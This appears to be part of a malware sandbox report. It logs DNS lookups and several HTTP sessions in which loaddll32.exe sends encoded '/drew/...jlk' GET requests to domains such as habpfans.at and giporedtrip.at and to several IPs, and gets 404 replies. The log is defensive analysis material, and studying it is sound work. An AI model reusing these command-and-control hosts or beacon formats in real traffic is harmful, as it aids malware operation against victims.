Jan 26, 2022 17:06:16.595956087 CET	8.8.8.8	192.168.2.5	0x5295	No error (0)	habpfans.at	187.212.179.214	A (IP address)	IN (0x0001)
Jan 26, 2022 17:06:16.595956087 CET	8.8.8.8	192.168.2.5	0x5295	No error (0)	habpfans.at	95.104.121.111	A (IP address)	IN (0x0001)
Jan 26, 2022 17:06:16.595956087 CET	8.8.8.8	192.168.2.5	0x5295	No error (0)	habpfans.at	178.31.236.98	A (IP address)	IN (0x0001)
Jan 26, 2022 17:06:16.595956087 CET	8.8.8.8	192.168.2.5	0x5295	No error (0)	habpfans.at	31.167.149.141	A (IP address)	IN (0x0001)
Jan 26, 2022 17:06:16.595956087 CET	8.8.8.8	192.168.2.5	0x5295	No error (0)	habpfans.at	58.235.189.190	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

194.76.226.200

giporedtrip.at

habpfans.at

31.214.157.187

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49758	194.76.226.200	80	C:\Windows\System32\loaddll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 26, 2022 17:03:50.217694044 CET	1190	OUT	GET /drew/ozC7eSUmzahvYkYKrp/EnTXsLZQu/ZxwfzvyOea6Ms_2FcWiK/QVPuXmRecwMBmPtS2pP/K1YuqB0TTP3PJ7dc3csdFA/1Ac_2BGJ3ahfL/ClNkrX58/ZDofYbeDbIVvrUisO8PwbQv/pc3vAH6GWF/x_2B4_2BbH_2B0wxz/YCHkmZmDbaCX/aMf9JRtYupc/_2Ben2gyoQcqJb/gP1jDokjfsnRCuX4LwXIc/R6CnFb_2FUwS1dKT/G7Z9QUvFXshW5HS/y.jlk HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0) Host: 194.76.226.200
Jan 26, 2022 17:03:50.485863924 CET	1191	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jan 2022 16:03:50 GMT Content-Type: text/html; charset=utf-8 Content-Length: 548 Connection: keep-alive Vary: Accept-Encoding Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.5	49771	211.119.84.112	80	C:\Windows\System32\loaddll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 26, 2022 17:04:11.131587029 CET	8224	OUT	GET /drew/CNAO_2FMqt2bQnnFTS9A/gZCx4lwGHYQjpKz_2Bo/eC3Q_2B6RQnBEorg_2FJk6/uEN67LHG_2FS5/_2BBd1X9/aVPauq0optO45rzbpdCQm0T/aYIRRNsEBo/KjgLaOYvR_2BgwzfQ/25S5OlQYXnss/XWKrlvnyLdL/zvJbW2nKGtMp_2/BhAqVJaOXmJzkoWYA4_2B/1sUQfL4pghiYPQ_2/Bk4zNXCpOm9uy6W/_2FwvvWoJCQywtXfuj/zSz8jbk7z4_2FaKsy/ujc.jlk HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0) Host: giporedtrip.at
Jan 26, 2022 17:04:12.363171101 CET	11882	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jan 2022 16:04:12 GMT Content-Type: text/html; charset=utf-8 Content-Length: 548 Connection: close Vary: Accept-Encoding Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.5	49781	41.41.255.235	80	C:\Windows\System32\loaddll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 26, 2022 17:04:32.817919970 CET	17822	OUT	GET /drew/5tHE_2Fl/pXBoYLIb7sXj6_2FbgEdP7S/1g8RiyhGmo/7FzHWL9Gm5Pao_2Bw/5oh73gE4juwn/wLkUkA7sRnm/cso3yuTSujNtgI/CMmvYVa7e4KaoltzEmBTc/sgUl10rzE9jSORq1/rqqMvEmtzS52b3S/MwqSqUIn0qJ41lN07l/ltNVceIDT/qjCtCMmp_2FbkkqAoDDI/2nZPBTOmmpjaMrj1ust/QMCPjE0wKPGXBQrFS0WE_2/B3SVbiens/K.jlk HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0) Host: habpfans.at
Jan 26, 2022 17:04:33.531102896 CET	17823	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jan 2022 16:04:33 GMT Content-Type: text/html; charset=utf-8 Content-Length: 548 Connection: close Vary: Accept-Encoding Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.5	49812	31.214.157.187	80	C:\Windows\System32\loaddll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 26, 2022 17:04:53.808751106 CET	17909	OUT	GET /drew/n9Q8SXORQfxecr/MW5_2Fu9_2Bgocr6670ju/D1JJTVEHrWL1TxqL/xGoJ_2FQlD36_2B/GkPBzrjzE3l7JBLY9O/1EFPlHsMW/m5HxfuFe9CAmeE3Sv9mV/WruJ_2B6bq6RWMaARg5/48WJvcYD9cWVaImnFjKYnp/qqfI438hlaFuV/Cz10Llo3/y28DCtREPMb5OZnUZKj2hAx/fvbD6E0k2X/xMHWSCI5symguz2Bp/FnCO_2F0QOq8/vwhEVJIxW/5.jlk HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0) Host: 31.214.157.187
Jan 26, 2022 17:04:54.068263054 CET	17910	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jan 2022 16:04:54 GMT Content-Type: text/html; charset=utf-8 Content-Length: 548 Connection: keep-alive Vary: Accept-Encoding Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.5	49816	194.76.226.200	80	C:\Windows\System32\loaddll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 26, 2022 17:05:34.308445930 CET	17926	OUT	GET /drew/t4UXVVFvbg_2F3LXo8gXBT/1icGJdsG14mTA/YOVrBwZF/xARqsNBXczJePkKt2X6ww_2/BWmoPwSUrF/dMkwNYvCaezjn8JBl/H0ytvGxBbW3l/zR2N_2BHrz_/2FvsAN_2FRzTTC/lSSKBusA2w75D7HkZKGJs/DACOMqt0XK0wSfc5/bo0iFsZeiFg2i2l/JDzyY2V7hheHpK0ocJ/ZgcshLwb0/jlOmaQmjqFbHJJo3m7Pt/o4K7mLse1jm/1K47Z.jlk HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0) Host: 194.76.226.200
Jan 26, 2022 17:05:34.582305908 CET	17927	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jan 2022 16:05:34 GMT Content-Type: text/html; charset=utf-8 Content-Length: 548 Connection: keep-alive Vary: Accept-Encoding Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.5	49825	181.129.180.251	80	C:\Windows\System32\loaddll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 26, 2022 17:05:55.173449993 CET	18600	OUT	GET /drew/vDXEGqf4EaI6e/GBZCusNA/wGFZ17UZEew5_2F3lztpfux/SlqAMrP7W1/XBD36Fnf1Eq7wA6HD/bZQhlGWv2oMx/02wZPYg1S9_/2FsBPVVzIGiliu/ZgesoO3_2BU1Itp9mWBBQ/zS9Fa06G7Ifi1Qdi/yVB_2BRlu8Zp_2B/LJtKQv4YtcqH6IAzxR/L6Ho0ZvfB/evXUKtmzU_2B4Fe1cs5B/1wJA25jdSjnKCVAyqP7/xAdhGKLVvM/CvkvXIJYGs/9.jlk HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0) Host: giporedtrip.at
Jan 26, 2022 17:05:56.107831001 CET	18601	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jan 2022 16:05:55 GMT Content-Type: text/html; charset=utf-8 Content-Length: 548 Connection: close Vary: Accept-Encoding Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.5	49827	61.36.14.230	80	C:\Windows\System32\loaddll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 26, 2022 17:06:16.920280933 CET	18609	OUT	GET /drew/AvYfyTR_2B2G3/_2F4h5ah/TJ34ZXtaMR1Oc3_2BPI0hI4/GdwumcM9XU/qAwknuMeebVU2QdSF/VN2ToaIYsZPU/kI1do_2B9jW/Q9gfyv85CoHPvT/SnqcLw3TTcQW61PNrLWiv/_2BkKhdRaMJkT9HD/82Fg3tERnOrn6Yg/fT2SNRr4ih8M1B9lEq/WIX8riitn/8yNrCBKJNgpm3khA4gSx/B8X3zDAJaQCYV1F4k99/jQHMcxYL/Il8wT6lWu/Ih.jlk HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0) Host: habpfans.at
Jan 26, 2022 17:06:18.136353016 CET	18610	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jan 2022 16:06:17 GMT Content-Type: text/html; charset=utf-8 Content-Length: 548 Connection: close Vary: Accept-Encoding Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 